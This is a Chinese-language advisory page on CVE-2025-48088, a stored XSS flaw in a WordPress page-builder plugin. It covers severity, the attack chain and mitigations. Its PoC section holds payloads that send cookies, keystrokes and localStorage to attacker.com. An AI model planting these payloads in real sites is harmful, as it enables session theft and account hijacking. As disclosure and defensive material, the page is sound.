CVE-2025-48088 CVSS 6.5 中危

CVE-2025-48088 WordPress Ultimate Addons for WPBakery存储型XSS漏洞

披露日期: 2025-10-27

来源: [email protected]

漏洞信息

漏洞编号

CVE-2025-48088

漏洞类型

存储型XSS (Stored Cross-site Scripting)

CVSS评分

6.5 中危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

需要交互 (UI:R)

影响产品

Brainstorm_Force Ultimate Addons for WPBakery Page Builder (WordPress插件)

漏洞概述

CVE-2025-48088是WordPress插件Ultimate Addons for WPBakery Page Builder中的一个存储型跨站脚本(XSS)漏洞。该漏洞由Patchstack安全团队的审计人员发现，漏洞编号为CVE-2025-48088。攻击者可以利用该漏洞在受影响的网页应用中注入恶意JavaScript代码。由于是存储型XSS，恶意脚本会被永久存储在服务器端，当其他用户访问包含恶意内容的页面时，攻击代码会在受害者浏览器中执行。攻击者可借此窃取用户会话cookie、劫持用户账户、进行钓鱼攻击或修改页面内容。该漏洞影响版本从n/a至3.21.1之前的所有版本，CVSS评分6.5，属于中等严重程度。攻击复杂度低，但需要低权限用户交互才能触发。

技术细节

该漏洞属于CWE-79（网页生成时输入未正确中和），即常见的跨站脚本漏洞。在Ultimate Addons for WPBakery Page Builder插件的ultimate_vc_addons组件中，存在多个用户输入字段未对特殊字符进行充分过滤和转义。攻击者可以通过构造包含JavaScript事件处理器（如onerror、onload、onclick等）或script标签的恶意载荷，并将其提交到插件的表单或内容编辑功能中。由于插件在存储和回显用户输入时未进行适当的HTML实体编码，这些恶意代码会被浏览器解析执行。存储型XSS的危险性在于其持久性，一旦恶意代码被写入数据库，所有访问相关页面的用户都会受到影响。攻击者通常利用此漏洞窃取认证令牌、获取用户敏感信息或进行进一步的攻击链拓展。

攻击链分析

STEP 1

步骤1

攻击者首先识别目标网站使用的WordPress插件Ultimate Addons for WPBakery Page Builder版本

STEP 2

步骤2

攻击者获取目标网站的低权限账户（如订阅者或贡献者角色）

STEP 3

步骤3

攻击者在插件的输入字段（如横幅、按钮或内容模块）中注入包含恶意JavaScript的XSS载荷

STEP 4

步骤4

恶意载荷被存储在数据库中，未经过滤的内容被保存到服务器

STEP 5

步骤5

当管理员或其他用户访问包含恶意内容的页面时，浏览器解析并执行注入的JavaScript代码

STEP 6

步骤6

攻击者通过JavaScript执行窃取用户会话cookie、劫持账户或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!-- CVE-2025-48088 Stored XSS PoC -->
<!-- Upload this payload via plugin's input field -->

<!-- Basic script tag injection -->
<img src=x onerror="alert(document.cookie)">

<!-- Cookie stealing payload -->
<script>
  fetch('https://attacker.com/steal?c=' + document.cookie);
</script>

<!-- Keylogger payload -->
<script>
  document.addEventListener('keypress', function(e) {
    fetch('https://attacker.com/log?k=' + e.key);
  });
</script>

<!-- Session hijacking payload -->
<img src=x onerror="
  fetch('https://attacker.com/api/session', {
    method: 'POST',
    body: JSON.stringify({
      cookie: document.cookie,
      localStorage: localStorage,
      url: window.location.href
    })
  });
">

影响范围

Ultimate Addons for WPBakery Page Builder < 3.21.1

防御指南

临时缓解措施

如果无法立即升级，可采取以下临时措施：1)限制低权限用户创建和编辑内容的权限；2)启用WordPress安全插件如Wordfence或Sucuri进行实时防护；3)在Web服务器层面配置Content-Security-Policy响应头限制脚本执行；4)对所有用户输入实施严格的输入验证和HTML转义；5)监控网站文件变更，及时发现恶意代码注入。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表